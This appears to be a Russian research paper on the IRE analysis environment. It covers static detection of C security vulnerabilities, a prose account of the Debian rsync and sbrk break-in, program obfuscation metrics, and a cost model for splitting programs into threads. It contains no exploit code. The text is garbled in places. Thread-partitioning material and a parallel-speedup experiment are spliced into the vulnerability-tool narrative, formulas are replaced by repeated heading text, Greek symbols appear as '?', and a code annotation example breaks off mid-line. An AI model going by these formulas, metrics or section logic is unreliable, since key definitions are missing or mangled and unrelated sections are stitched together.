    Бурное развитие современных телекоммуникационных технологий позволило решить задачу доступа к информационным и вычислительным ресурсам вне зависимости от географического расположения поставщика и потребителя ресурсов. Сеть Интернет связывает миллионы компьютеров по всей планете. С другой стороны, именно общедоступность информационных ресурсов подняла на новый уровень требования к безопасности программного обеспечения. Необходимым условием обеспечения безопасности ПО является его корректная работа на всех возможных входных данных и всех других видах внешних по отношению к программе воздействий.
    Следует заметить, что данное требование сильнее, чем требование отсутствия в программе ошибок, если под ошибками понимать несоответствие действи-тельного поведения программы специфицированному на указанном в спецификации множестве входных данных программы. Спецификация может определять поведение программы лишь на подмножестве множества всех возможных входных данных. Например, для программ, получающих данные от пользователя или из других неконтролируемых программой внешних источников реальное множество входных данных представляет собой просто множество всех возможных битовых строк вне зависимости от спецификации входных данных программы. Если программа является частью многопро-цессной системы и взаимодействует с другими процессами и окружением, реальное множество входных данных зависит и от всех возможных темпоральных вариантов взаимодействия процессов, а не только от специфицированных.
    Когда требование корректной работы программы на всех возможных входных данных нарушается становится возможным появление так называемых уязвимостей защиты (security vulnerability). Уязвимости защиты могут приводить к тому, что одна программа может использоваться для преодоления ограничений защиты всей системы, частью которой является данная программа, в целом. В особенности это относится к программам, обслуживающим различные общедоступные сервисы сети Интернет и к программам, работающим в привилегированном режиме.

    Рассмотрим, например, последний случай "взлома" Интернет-сервера проекта Debian Linux. Программа- сервер синхронизации файлов по сети rsync содержала уязвимость в защите, которая позволяла, подключившись к серверу rsync и подав на ему на вход специально подготовленные входные данные, принудить процессор исполнить не исполняемый код программы rsync, а исполняемый код, переданный в этих входных данных. Сама по себе программа rsync не является привилегированной, но таким образом был получен доступ к компьютеру с возможностью запускать произвольные программы (доступ shell account). Естественно, такой способ получения дос-тупа к компьютеру обходит все нормальные средства аутентификации, такие как ввод регистрационного имени и пароля, ввод однократного ключа и т. д.

    Получив возможность выполнения произвольных программ на сервере, злоумышленник использовал другую уязвимость в защите, теперь непосред-ственно ядра Linux, которая была связана с недостаточной проверкой параметра, передаваемого системному вызову sbrk. Передавая этому систем-ному вызову отрицательные значения можно было добиться открытия доступа к критически важным страницам памяти, после чего можно было добиться выполнения произвольной программы уже с правами суперпользователя (root). Обычно такая программа - это интерпретатор командной строки /bin/sh. Таким образом, неизвестный злоумышленник в два этапа получил полный контроль над машиной, на которой он раньше даже не имел shell account.

    Уязвимости в защите, которые могут быть использованы просто подключением к уязвимой программе без какой-либо авторизации называются удалённо-эксплуатируемыми (remotely exploitable). Уязвимости в защите, которые требуют наличия локального доступа типа shell account обычно называются локально-эксплуатируемыми (locally-exploitable). Наиболее опасен первый тип уязвимостей, так как он позволяет вообще произвольному (неизвестному) лицу получить возможность запуска произвольных программ.

    Следует заметить, что данный пример отнюдь не единичен.


    Уязвимости разной степени опасности обнаруживаются в программах систематически несколько раз в месяц. В связи со столь неблагоприятной ситуацией, в США была разработана процедура сертификации программного обеспечения (Common Criteria). ПО, не прошедшее сертификацию по этой процедуре не может работать на критически важных серверах государственного значения.

    Это показывает, почему ведущие производители телекоммуникационного оборудования и программного обеспечения привлекают большие ресурсы для аудита существующего массива программного обеспечения для выявления и устранения в них уязвимостей защиты. К сожалению, в настоящий момент процесс аудита программного обеспечения с целью выявления уязвимостей защиты совершенно неудовлетворительно поддерживается инструмен-тальными средствами. Как будет показано далее, основная проблема сущест-вующих инструментальных средств - высокий процент ложных срабатываний, когда фрагмент программы, не содержащий ошибок, приводящих к уязвимостям защиты, отмечается как опасный. Высокий процент ложных срабатываний требует большого количества ручного труда для отсеивания ложных сообщений от сообщений, действительно выявляющих ошибки.

    В настоящее время в рамках контракта с Nortel Networks в отделе компи-ляторных технологий ведётся разработка инструментального средства для автоматического выявления уязвимостей защиты некоторых типов. Дальнейшие разделы настоящей работы посвящены описанию разрабаты-ваемого прототипа инструментального средства.

    Ценовая модель

    Нашей целью является построение разбиения программы на нити, максимально использующего возникающие события локальности. Чтобы иметь возможность судить о степени оптимальности того или иного разбиения, необходимо ввести некоторую ценовую модель. Так как мы оптимизируем время выполнения программы, то естественно ввести веса узлов графа зависимости по данным, равные времени выполнения узла в последовательной программе.
    Время выполнения узла может быть найдено с помощью профилирования программы. Для этого необходимо инструментировать исходный код программы, вставляя вызовы функций из библиотеки поддержки, вычисляющих время выполнения инструкций, и выполнить программу на нескольких наборах типичных входных данных. Для получения более точных результатов можно воспользоваться высокоточными аппаратными счетчиками, имеющимися на большинстве современных архитектур (например, инструкцией RDTSC для Pentium III и выше). Эта оценка времени выполнения точно показывает реальное время выполнения программы, но затрудняет эмуляцию кэша на этапе разделения на нити, так как сложно определить, насколько уменьшится время выполнения узла при попадании в кэш (возможно, при профилировании это попадание уже произошло).
    Ценовая модель должна также отражать события локальности, происходящие во время выполнения программы. Статических весов для узлов DDG для этой цели недостаточно. Необходима эмуляция кэша в процессе разделения на нити и соответствующая корректировка времени выполнения узла.

    Граф зависимостей по данным

    При разделении программы на нити прежде всего нужно учитывать зависимости по данным. Поэтому естественно потребовать, чтобы промежуточное представление программы содержало легкодоступную информацию о зависимостях по данным между различными частями программы. В то же время необходимо максимально отразить сведения о "естественном" параллелизме программы, причем на разных уровнях - от отдельных инструкций, до более крупных программных блоков.
    Представлением, обладающим всеми необходимыми нам свойствами, является иерархический граф зависимостей по данным, используемый в [9] (data dependence graph, DDG). Узлом такого графа может являться:
  • Простой оператор (сложение, умножение, сравнение, присваивание и т.д.)
  • Более сложный оператор (условный оператор, оператор цикла и т.д.)
  • Граф зависимостей по данным следующего уровня, инкапсули-рующий свойства соответствующего программного блока
  • Дуги графа DDG представляют собой зависимости по данным между узлами. Более формально, пусть u и v - узлы DDG, причем в последовательной программе u предшествует v. Дуга (u, v) входит в граф тогда и только тогда, когда между u и v есть зависимость по данным одного из трех типов:
  • "запись-чтение" (в узле v необходимы результаты вычислений узла u),
  • "чтение-запись" (в узле v записывается переменная, значение которой считывается в u),
  • "запись-запись" (оба узла записывают одну и ту же пере-менную).
  • Наличие одной из указанных зависимостей по данным между узлами говорит о том, что при параллельном выполнении программы для получения результатов, совпадающих с последовательной версией, необходимо выполнить u раньше, чем v.
    Легко заметить, что граф зависимостей по данным является ориентированным ациклическим графом. Это объясняется тем, что циклы в DDG означают наличие циклических зависимостей по данным, возможных, в свою очередь, только в операторах цикла исходной программы. Но циклы, как и другие сложные операторы, раскрываются на более низком уровне иерархии, обеспечивая разрыв таких зависимостей по данным.
    Это свойство графа будет использоваться нами в дальнейшем.

    Пример функции и ее графа зависимостей по данным приведен на Рис. 1. DDG состоит из трех узлов: двух простых узлов и оператора цикла, раскрывающегося в DDG второго уровня.

    Граф зависимостей по данным строится для каждой функции программы. Алгоритм построения состоит из следующих этапов:

  • Построение графа потока управления программы.
  • Выбор программных блоков, которые будут узлами текущего уровня иерархии DDG.
  • Нахождение зависимостей по данным между этими узлами с помощью алгоритма достигающих определений.
  • Если необходимо, продвинуться на следующий уровень иерархии и достроить граф.
  • Для того, чтобы отразить на графе побочные эффекты работы функции, в графе вводится специальный узел EXIT. Все узлы, генерирующие побочные эффекты (например, осуществляющие запись в глобальную переменную), связаны дугой с узлом EXIT. Все этапы алгоритма разделения на нити, описанные ниже, работают с представлением программы в виде графа зависимостей по данным.

    Инструментальные средства для обнаружения уязвимостей защиты

    В настоящее время разработано большое количество инструментальных средств, предназначенных для автоматизации поиска уязвимостей защиты программ на языках Си и Си++. В данном разделе мы рассмотрим наиболее распространённые инструментальные средства.
    По виду использования инструментальные средства можно разделить на два типа: инструменты, добавляющие дополнительные динамические проверки в программу и инструменты только статического анализа программ. В нашей работе мы рассмотрим инструменты, которые выявляют уязвимости защиты с помощью статического анализа программ.
  • CodeSurfer. CodeSurfer - это инструмент анализа программ, который не предназначается непосредственно для поиска ошибок уязвимости защиты. Его основными достоинствами являются:
  • Анализ указателей
  • Различные анализы потока данных (использование и определение переменных, зависимость данных, построение графа вызовов)
  • Скриптовый язык.
  • CodeSurfer может быть использован для поиска ошибок в исходном коде, для улучшения понимания исходного кода, и для реинженерии программ. В рамках среды CodeSurfer велась разработка прототипа инструментального средства для обнаружения уязвимостей защиты, однако разработанное инструментальное средство используется только внутри организации разработчиков.
  • Flawfinder, ITS4, RATS, PScan. Все эти программы разработаны для поиска ошибок переполнения буфера и ошибок, связанных с использо-ванием форматных строк. Данные инструменты во многом схожи. Они все используют возможности только лексического и простейшего синтакси-ческого анализа, поэтому в данном случае не приходится говорить о сколь-нибудь эффективном нахождении ошибок при помощи этих программ - результаты, выданные ими, могут содержать до 100% ложных сообщений.
  • Основные свойства этих программ:
    "
  • База данных потенциально опасных функций (ITS4, RATS)
  • "
  • Подробное аннотирование исходного кода (Flawfinder, ITS4)
  • Возможность поиска функций, принимающих внешний ввод. (Flawfinder - с опцией -inputs, RATS)
  • UNO. UNO - простой анализатор исходного кода.
    Он был разработан для нахождения таких ошибок, как неинициализированные переменные, нулевые указатели и выход за пределы массива. UNO позволяет выполнять несложный анализ потока управления и потоков данных, осуществлять как внутри- так и меж-процедурный анализ, специфицировать свойства пользователя. Однако, к сожалению, данный инструмент не доработан для анализа реальных приложений, не поддерживает многие стандартные библиотеки, и, на данном этапе, разработки не позволяет анализировать сколь-нибудь серьёзные программы.
  • FlexeLint, Splint. Это наиболее мощные инструменты из всех, рассмотренных в данной работе. Они предназначены для анализа исходного кода с целью выявления различных ошибок.
  • Обе программы производят семантический анализ исходного кода, анализ потоков данных и управления. В конце работы выдаются сообщения нескольких основных типов:

  • Возможен нулевой указатель.
  • Проблемы с выделением памяти (например, нет free() после malloc()).
  • Проблемный поток управления (например, недостижимый код).
  • Возможно переполнение буфера, арифметическое переполнение.
  • Количество таких сообщений при работе над кодом большой программы может быть очень значительным. Поэтому оба инструмента поддерживают опции, позволяющие настраивать сообщения. Опции могут задаваться также и в исходном коде, например, в виде аннотаций.

    FlexeLint и Splint не разрабатывались с целью поиска ошибок уязвимости защиты. Однако обе программы позволяют находить некоторые, наиболее простые случаи потенциального переполнения буферов. При этом FlexeLint не подходит для нахождения ошибок с форматными строками, в то время как Splint выдаёт предупреждения такого типа.

    Как видно из приведённого краткого обзора, существующие инструменты не задействуют все современные методы статического анализа программ, ограничиваясь лишь контекстным анализом. Как было отмечено в [12], применение глубокого статического анализа программ может позволить существенно снизить количество ложных срабатываний и повысить точность обнаружения уязвимостей защиты.

    Интегрированная среда

    Все направления исследований, описанные в настоящей статье реализуются на базе единой интегрированной среды для изучения алгоритмов анализа и опти-мизации программ [1]. IRE является системой с открытыми исходными кодами и распространяется на условиях Общей публичной лицензии GNU (GNU General Public License). Система доступна для загрузки из сети Интернет [4]. Интегрированная среда построена как набор связанных друг с другом инструментов, работающих над общим промежуточным представлением программ MIF. Для управления инструментами ИС предоставляется графический интерфейс пользователя.
    В настоящее время в качестве исходного и целевого языка программирования используется язык Си, но внутреннее представление разработано таким образом, чтобы поддерживать широкий класс процедурных и объектно-ориен-тированных языков программирования. Все компоненты ИС реализованы на языке Java, за исключением транслятора из Си в MIF, который реализован на языке Си.

    Использование методов анализа потоков данных для решения задачи обнаружения уязвимостей

    В отделе компиляторных технологий по контракту с фирмой Nortel Networks разрабатывается прототип инструментального средства для автоматического обнаружения уязвимостей. В прототипе нами реализовано автоматическое выявление уязвимостей переполнения буфера, форматных строк, испорченного ввода. В дополнение к ним реализовано обнаружение ошибок утечки динамической памяти.
    Для разрабатываемого инструментального средства нами реализован новый алгоритм выявления уязвимостей защиты, основанный на глубоком межпроцедурном анализе указателей в программе. Алгоритм состоит из следующих основных компонент:
  • Внутрипроцедурный анализ указателей, основанный на понятии "абстрактной ячейки памяти" (abstract memory location).
  • Анализ диапазонов для переменных целых типов.
  • Контекстно-зависимый (context-sensitive) и потоково-зависимый (flow-sensitive) межпроцедурный анализ.
  • Специальная поддержка основных функций стандартной библиотеки языка Си и возможность спецификации семантики функции с помощью аннотаций.
  • Анализ указателей (alias analysis) [10] позволяет для каждой переменной указательного типа в каждой точке программы построить множество объектов, на которые он может указывать. В языке Си анализ указателей является необходимым шагом для выполнения практически любого оптимизирующего преобразования. Кроме того, анализ указателей для языка Си осложняется неразличимостью указателей и массивов, а также присутствием указательной арифметики.
    Для анализа указателей мы выбрали подход, основанный на моделировании операций с указателями. Каждому объекту, который может существовать при работе программы, то есть статическим переменным, переменным, создаваемым и уничтожаемым на стеке, переменным в динамической памяти ставится в соответствие абстрактная ячейка памяти. При анализе программы абстрактные ячейки памяти создаются, когда в работающей программе выделяется память под соответствующую переменную. Абстрактная ячейка памяти хранит следующую информацию:
    Size Размер данной абстрактной ячейки. Для функций динамического выделения памяти размер ячейки определяется по параметру функции.
    overlap Множество абстрактных ячеек памяти, которые накладываются на данную абстрактную ячейку. Этот атрибут используется для переменных агрегатных, потому что в таких случаях создаются отдельные абстрактные ячейки памяти и для структуры целиком, и для каждого составляющего структуру поля.

    Атрибуты абстрактной ячейки памяти, описанные выше, являются стати-ческими, то есть не изменяются всё время жизни абстрактной ячейки памяти.

    В каждой точке программы с абстрактной ячейкой памяти могут быть связаны динамические атрибуты, которые описываются ниже.

    Len Текущая длина строки для строковых переменных.
    value Значение переменной.
    input Указывает, зависит ли данная абстрактная ячейка памяти в данной точке программы прямо или косвенно от внешних источников данных.
    Поле value содержит текущее значение переменных. Для хранения текущего значения переменных используются мета-типы, являющиеся расширением соответствующих типов языка. Например, значения переменных целых типов при анализе представляются типом M_Integer, который может принимать следующие значения:

    Undef Неопределённое значение, изначально возникает, когда переменная неинициализирована и как результат операций, если один из аргументов - Undef.
    Any Переопределённое значение. Возникает когда статического анализа недостаточно для определения значения переменной (например, при чтении значения переменной из внешнего источника), либо как результат операции, если один из аргументов имеет значение Any, либо как результат операции при соответствующих операндах.
    [a,b] Любое значение в интервале от a до b.
    При выполнении операций над интервалами, в особенности операций слияния значений в точках слияния потока управления, может возникнуть ситуация, когда результирующее множество целых значений состоит из нескольких непересекающихся интервалов, например [1,2]+[6,15]. В этом случае берётся минимальный интервал, включающий в себя все непересекающиеся интервалы, то есть в данном случае результатом будет интервал [1,15].

    Значения указательных типов представляются множествами пар (AML, offset), где AML - абстрактная ячейка памяти, а offset - смещение от начала ячейки, которое имеет мета-тип M_Integer, то есть представляет собой диапазон смещений указателя внутри данного объекта. Кроме того, поддерживается значение Undef для неопределённых (неинициализированных) переменных, значение Any(type), если указательное выражение может принимать произвольное значение типа type, и значение Any, если указательное выражение может принимать произвольное значение.


    Значения Any могут возникать как результат слияния значений переменных в точках слияния потока управления, вследствие ограниченной глубины анализа объектов в динамической памяти, и когда указательное значение возвращается функцией, для которой не существует исходного кода и не специфицированы аннотации.

    Внутрипроцедурный анализ указателей реализован по стандартной схеме итеративного прямого анализа потоков данных процедуры [11]. Для каждой инструкции процедуры на основании входящих динамических атрибутов абстрактных ячеек памяти вычисляются выходящие атрибуты, которые затем подаются на вход следующей инструкции. В точке слияния потока управления выполняется операция слияния динамических атрибутов (join). Анализ выполняется итеративно до тех пор, пока множества динамических атрибутов не перестанут изменяться.

    Одновременно с анализом указателей по аналогичной схеме выполняется анализ целочисленных интервалов. Эти два вида анализа переплетаются друг с другом, поскольку от интервалов целочисленных переменных могут зависеть указательные выражения и наоборот.

    При выполнении внутрипроцедурного анализа основную сложность представляют циклы. Для циклов реализуются специальный алгоритм вычисления диапазонов индуктивных переменных и зависящих от них выражений, состоящий из двух шагов. На первом шаге делается расширение диапазона индуктивной переменной до максимального, на втором шаге выполняется ограничение диапазона с учётом условий в теле цикла.

    При анализе практически любой программы возникает необходимость в межпроцедурном анализе. По степени точности анализа можно выделить контекстно-чувствительные и контекстно-нечувствительные методы анализа. Во втором типе методов анализа процедуры рассматриваются независимо от контекста, в котором они вызываются. Множество динамических атрибутов на входе в процедуру получается как слияние множеств динамических атрибутов во всех точках вызова данной процедуры. Множество динамических атрибутов на выходе процедуры переносится во все точки возврата из процедуры в вызывающую её процедуру.


    Как и в случае внутрипроцедурного анализа межпроцедурный анализ ведётся итеративно до тех пор, пока множества на входах и выходах не перестанут изменяться. В контекстно-чувствительных методах анализа, анализ каждой процедуры проводится независимо для каждого вызова процедуры и учитывает контекст вызова этой процедуры. Как следствие, контекстно-чувствительный анализ требует больше ресурсов для своего выполнения.

    В нашем инструментальном средстве мы используем гибридный подход. В точке вызова каждой процедуры учитывается контекст вызова, но контекст возврата из процедуры берётся как объединение всех контекстов выхода для всех вызовов данной процедуры в программе. Это позволяет повысить точность анализа, несильно увеличивая его сложность.

    Дополнительной сложностью, возникающей при межпроцедурном анализе, является необходимость анализа указателей при вызовах процедур через указатель. Хотя множество возможных значений указательного выражения нарабатывается в процессе межпроцедурного анализа, это может потребовать перестройки графа вызовов процедур на ходу. В текущем прототипе нашего инструментального средства мы используем консервативный подход, предполагая, что каждый раз по указателю могут быть вызваны все процедуры, списки формальных параметров которых соответствуют фактическим параметрам вызова.

    Для выявления уязвимостей защиты программ, работающих в некотором операционном окружении необходимо знание семантики работы этого окружения. Прототипная версия инструментального средства разработана в расчёте на операционное окружение, предоставляемое Linux. Непосредственно в алгоритм анализа встроена поддержка основных функций стандартной библиотеки языка Си (в особенности функций работы со строками и с памятью, в том числе динамической), основных примитивов POSIX работы с файлами, файловой системой, процессами и т. д., а также некоторых специфичных расширений Linux, в частности, интерфейса модулей ядра.

    В настоящее время разрабатывается язык аннотаций, чтобы дать возможность пользователю нашего инструментального средства самому специфицировать семантику процедур, отсутствующих в исходном коде или для которых автоматический анализ недостаточно точен.


    При разработке языка аннотаций необходимо учитывать противоречивые требования: во-первых, язык должен быть достаточно мощным, чтобы позволять специфицировать семантику с требуемой для анализа степенью точности, но, с другой стороны, он должен быть достаточно простым, чтобы не требовать от пользователей специфических знаний формальных методов, и т. д.

    Язык аннотаций строится на расширении синтаксиса языка Си, уже применяющемся в широко распространённом компиляторе GCC. Так, для спецификации того, что возвращаемое значение некоторой функции foo находится в интервале [0,5] используется следующая конструкция:

    int foo(int x) __attribute__ ((post(foo >= 0 && foo Здесь __attribute__((...)) - это синтаксическое расширение GNU C, поддерживаемое нашим инструментальным средством, post - специальный атрибут, позволяющий определять постусловие для функции, а имя функции foo используется в постусловии для обозначения значения, возвращаемого этой функцией. Кроме того, реализуется специальная поддержка для стандартного макроса assert.

    Экспериментальные результаты

    Мы применили нашу реализацию алгоритма к тестовой функции, решающей алгебраическое уравнение четвертой степени x4+ax3+bx2+cx+d=0.
    Функция не содержит циклов и не может быть распараллелена традиционными способами. Полученная многопоточная версия функции была реализована с помощью библиотеки pthread под операционной системой Linux. Экспериментальные запуски были проведены на четырехпроцессорном Intel Itanium, на которых установлена ОС RedHat Linux 7; использовались компиляторы GCC 3.3.1 и ICC 8.00b. Программа запускалась 100 раз, время ее выполнения измерялось с помощью высокоточных аппаратных счетчиков. Вычислялось среднее значение времени выполнения ? и среднеквадратичное отклонение ?. Все значения времени выполнения, не укладывающиеся в промежуток [?-2?,?+2?] удалялись из выборки, после чего среднее значение пересчитывалось. Эта величина использовалась для подсчета ускорения. Результаты эксперимента приведены на Рис. 4.
    Экспериментальные результаты
    Рис. 4. Ускорение, достигнутое на Itanium

    Маскирующие преобразования программ

    Другим направлением, развиваемым в рамках IRE является исследование маскировки (obfuscation) программ. Мы рассматриваем проблему защиты программ от обратной инженерии, проводимой с целью модификации и/или включения фрагментов защищаемой программы во вновь разрабатываемый программный код. Защита в данном случае состоит в том, чтобы затруднить понимание деталей реализации компонент большой программной системы, сделав его настолько дорогим, чтобы дешевле было разработать оригинальное программное обеспечение.
    Одним из способов такой защиты является маскировка программ, заклю-чающаяся в применении к исходному тексту программы цепочки маски-рующих преобразований, то есть преобразований, сохраняющих реализуемую программой функцию (являющихся функционально эквивалентными), но затрудняющих понимание этой функции.
    Целью нашего исследования является новый метод маскировки программ, удовлетворяющего следующим требованиям:
  • Исходная и замаскированная программа записаны на языке Си.
  • В методе применяются цепочки маскирующих преобразований, элементы которых берутся из некоторого заранее зафиксированного множества параметризованных маскирующих преобра-зований.
  • Все цепочки таких преобразований порождаются автоматически поддерживающими метод инструментальными средствами и являются допустимыми по своим характеристикам, то есть уве-личивают размер маскируемой программы и/или уменьшают скорость её работы не более чем в фиксированное количество раз.
  • Метод маскировки устойчив относительно современных методов ста-тического и полустатического анализа программ, развитых для языка Си.
  • Предложена новая методология анализа маскирующих преобразований, которая позволяет давать качественную и количественную характеристику преобразований. Количественная характеристика преобразований позволяет дать их классификацию и выявить среди них наиболее подходящие для использования при маскировке программ. Основываясь на проведённом исследовании нами предложен новый метод маскировки программ, который удовлетворяет всем целям, сформулированным выше.

    Методология анализа маскирующих преобразований программ

    Для оценки действия маскирующих преобразований на программу мы используем несколько показателей сложности кода программ. Традиционно, подобного рода показатели называются "метрики", в дальнейшем мы будем придерживаться этого термина и в нашей работе. Метрики сложности кода программы ставят в соответствие любой программе некоторое число, которое тем больше, чем "сложнее" программа. Простейшая метрика LC размера процедуры равна количеству инструкций промежуточного представления MIF в записи процедуры. Метрика YC сложности циклической структуры равна мощности транзитивного замыкания отношения достижимости в графе потока управления процедуры. Метрика DC сложности потока данных определяется как количество дуг в графе зависимостей по данным, строящемся по результатам анализа достигающих определений программы. Метрика UC количества недостижимого кода определяется как количество инструкций в программе, которые не выполняются ни при каких наборах входных данных. Известно, что точное вычисление метрик DC и UC является алгоритмически неразрешимой задачей.
    Через O(p,e) мы обозначим применение метода маскировки O к программе p. e - это параметр, который позволяет выбрать единственную программу p' = O(p,e) из множества функционально эквивалентных замаскированных программ O(p). В частности, параметр e может быть случайным числом. Множество изменения параметра e обозначим через E. Тогда LC(p) - значение метрики LC до маскировки, а LC(O(p,e)) - после маскировки.
    Композитная метрика цены TC преобразования O(p,e) вычисляется по метрикам LC и UC следующим образом:
    Методология анализа маскирующих преобразований программ
    Для конечного множества D программ цена маскирующего преобразования определяется как Методология анализа маскирующих преобразований программ.
    Метод маскировки называется допустимым для множества D, если Методология анализа маскирующих преобразований программ, где константа TCMAX устанавливается директивно, исходя из эксплуатационных требований к замаскированной программе.
    Композитная метрика MC усложнения программы вычисляется по метрикам YC и DC следующим образом: Методология анализа маскирующих преобразований программ
    Для конечного множества D программ усложнение определяется как Методология анализа маскирующих преобразований программ.
    Чем больше метрика усложнения программы, тем сложнее для понимания становится замаскированная программа в силу увеличения числа информационных и управляющих связей.

    Для оценки сложности самого маскирующего преобразования вводится оценка OC сложности маскирующего преобразования, которая определяется как требуемая для выполнения данного маскирующего преобразования глубина анализа программы согласно таблице 1.

    Требуемая глубина анализа Значение OC
    Лексический анализ 0
    Синтаксический анализ 1
    Семантический анализ 2
    Анализ потока управления 3
    Консервативный анализ потока данных 4
    Полустатический анализ 5
    Точный анализ потока данных 6
    Таблица 1. Шкала оценки сложности маскирующих преобразований

    Для оценки степени различия текстов программ вводится расстояние ?(p1,p2) между текстами программ p1 и p2, которое используется для оценки устойчивости маскирующего преобразования. Введём расстояние ?C между графами потока управления двух процедур, равное минимальному количеству операций удаления и добавления рёбер и дуг, переводящих один граф в граф, изоморфный другому. Аналогично введём расстояние ?D между графами зависимостей по данным двух процедур. Обозначим через ?CD(f1,f2) сумму ?C(f1,f2)+?D(f1,f2). Тогда расстояние ?(p1,p2) вычисляется по формуле

    Методология анализа маскирующих преобразований программ

    Здесь минимум берётся по всевозможным множествам M, состоящим из пар (f1,f2), где f1 - процедура из программы p1, f2 - процедура из программы p2. Все процедуры f1 и f2 встречаются в M не более одного раза. Через M1 обозначено множество процедур программы p1, отсутствующих в M, а через M2 - множество процедур программы p2, отсутствующих в M. E - это пустой граф.

    Такие подготовительные определения позволяют нам определить понятие устойчивости метода маскировки программ по отношению к заданному набору алгоритмов их анализа и основанным на них методам демаскировки программ следующим образом.

    Пусть Методология анализа маскирующих преобразований программ - это множество маскирующих преобразований и необходимых для их выполнения алгоритмов анализа программ.


    Тогда метод маскировки - это цепочка Методология анализа маскирующих преобразований программ. Все алгоритмы Методология анализа маскирующих преобразований программ анализа, необходимые для выполнения маскирующего преобразования oi, находятся в цепочке O перед oi. Пусть Методология анализа маскирующих преобразований программ - заданный набор демаскирующих преобразований и необходимых для их выполнения алгоритмов анализа программ. Метод демас-кировки - это цепочка Методология анализа маскирующих преобразований программ. Все алгоритмы Методология анализа маскирующих преобразований программ анализа, необходимые для выполнения маскирующего преобразования aj, находятся в цепочке A перед aj. Длину |A| строки A назовём сложностью метода демаскировки. Метод маскировки O называется устойчивым для множества программ D по отношению к множеству демаскирующих преобразований с порогом устойчивости ?, если выполняются следующие условия:

  • Метод маскировки O является допустимым, то есть Методология анализа маскирующих преобразований программ.
  • Для любой программы p`, полученной из p, любой метод демаскировки A сложности не более C получает программу p" отстоящую от p более чем на ?, то есть: Методология анализа маскирующих преобразований программ

  • Константа ? называется порогом устойчивости.

    Параметры C и ? подбираются эмпирически. Параметр C - это оценка вычислительных ресурсов используемых для атаки на замаскированную программу. Чем больше C, тем более сложные методы демаскировки могут применяться для атаки. Параметр ? зависит от ценности защищаемой программы и уровня экспертизы, ожидаемого при атаке на замаскированную программу. Чем больше ценность маскируемой программы и чем выше ожидаемый уровень подготовки лиц, выполняющих атаку на замаскированную программу, тем больше должен быть порог устойчивости ?.

    Наш анализ методов маскировки программ исходит из предположения, что множество всех возможных алгоритмов анализа и преобразования программ, которые могут использоваться для демаскировки программ, фиксировано. Для нашего анализа мы выбрали представительное множество методов, составленное следующим образом. Большинство рассматриваемых демаскирующих преобразований являются оптимизирующими преобразованиями, используемыми в оптимизирующих компиляторах. К таким преобразованиям относятся, например, устранение общих подвыражений и устранение мёртвого кода. Кроме них описываются алгоритмы полустатического анализа такие, как построение и анализ покрытия дуг и базовых блоков, и основанные на них разработанные в рамках данной работы демаскирующие преобразования.

    В рамках нашего исследования нам удалось получить качественную и количественную характеристику опубликованных другими исследователями и разработчиками систем маскировки маскирующих преобразований. Был проведён сравнительный анализ их цены TC, усложнения маскируемой программы MC и оценки сложности OC. На примере программы, вычисляющей функцию Фибоначчи, проводится ранжирование маскирующих преобразований по соотношению усложнение/цена.

    Новый метод маскировки программ

    Новый метод маскировки программ мы далее обозначим аббревиатурой "ММ". Его более подробное описание можно найти в [2]. Метод ММ применяется к функциям маскируемой программы по отдельности, при этом структура маскируемой программы в целом не изменяется. Для изменения структуры маскируемой программы могут применяться стандартные методы открытой вставки и выноса функции, которые, однако, не являются частью предлагаемого метода маскировки.
    При маскировке каждой функции ММ использует, наряду с локальными несущественными переменными, глобальные несущественные переменные, которые формируют глобальный несущественный контекст. В маскируемую программу вносятся несущественные зависимости по данным между сущест-венным и несущественным контекстом функции. Наличие глобального несущественного контекста, совместно используемого всеми замаскированными функциями, приводит к появлению в замаскированной программе зависи-мостей по данным между всеми функциями и глобальными переменными.
    Метод ММ состоит главным образом из преобразований графа потока управления. В результате граф потока управления замаскированной программы значительно отличается от графа потока управления исходной программы. Метод не затрагивает структур данных исходной программы, но вносит в за-маскированную программу большое количество несущественных зависимостей по данным. В результате, замаскированная программа значительно сложнее исходной как по управлению, так и по данным.
    Мы предполагаем, что перед маскировкой были выполнены все стандартные шаги анализа программы: лексический, синтаксический, семантический, анализ потока управления (построение графа потока управления и деревьев доминирования и постдоминирования) и консервативный глобальный анализ потоков данных (достигающие определения и доступные выражения с учётом возможных алиасов). Дополнительно может быть выполнено профилирование дуг, результаты которого учитываются в преобразованиях клонирования дуг и развёртки циклов.
    Общая идея метода может быть охарактеризована следующим образом.

  • Во-первых, значительно увеличить сложность графа потока управления, но так, чтобы все дуги графа потока управления, внесённые при маскировке, проходились при выполнении программы. Это позволяет преодолеть основную слабость "непрозрачных" предикатов: насколько бы не были они сложны для статического анализа программы, полустатический анализ позволяет выявить такие предикаты (точнее, порождённые ими несущественные дуги графа потока управления) с большой долей уверенности.
  • Во-вторых, увеличить сложность потоков данных маскируемой функции, "наложив" на неё программу, которая заведомо не влияет на окружение маскируемой функции и, как следствие, не изменяет работы программы. "Холостая" функция строится как из фрагментов маски-руемой функции, семантические свойства которых заведомо известны, так и из фрагментов, взятых из библиотеки маскирующего трансля-тора. Чтобы затруднить задачу выявления холостой части замаскиро-ванной функции используются как языковые конструкции, трудно поддающиеся анализу (указатели), так и математические тождества.
  • Метод маскировки можно разбить на несколько этапов:

  • Увеличение размера графа потока управления функции без нарушения его структурности. На этом этапе выполняются различные преобразо-вания перестройки циклов, которые изменяют структуру циклов в теле функции, клонирование базовых блоков. Цель этого этапа - существенно увеличить размер графа потока управления функции.
  • Разрушение структурности графа потока управления функции. На этом этапе в граф потока управления вносится значительное количество новых дуг. При этом существовавшие базовые блоки могут оказаться разбитыми на несколько меньших базовых блоков. В графе потока управления могут появиться пока пустые базовые блоки. Цель этого этапа - подготовить место, на которое в дальнейшем будет внесён несущественный код.
  • Генерация несущественного кода. На этом этапе граф потока управления заполняется инструкциями, которые не оказывают никакого влияния на результат, вырабатываемый маскируемой программой.


    Несущественная, "холостая" часть пока никак не соприкасается с основной, функциональной частью программы.
  • "Зацепление" холостой и основной программы. Для этого исполь-зуются как трудноанализируемые свойства программ (например, указатели), так и разнообразные математические тождества и неравенства. В качестве примера применения предложенного метода маскировки мы выбрали небольшую программу, которая решает задачу о 8 ферзях. Для маскировки мы выберем основную функцию queens этой программы.

    Метрика queens MM(queens) CM(queens)
    LC 49 711 4171
    YC 0.595 0.8119 0.2402
    UC 0 0 0
    DC 82 8964 143807
    Таблица 4. Изменение метрик для замаскированной процедуры queens

    Преобразование OC TC MC MC/TC CL SL DL D
    MM(queens) 4 29.02 110.68 3.81 5 2 7 3
    CM(queens) ? 170.24 1754.14 10.30 5 2 7 ?
    Таблица 5. Сравнение методов маскировки для функции queens

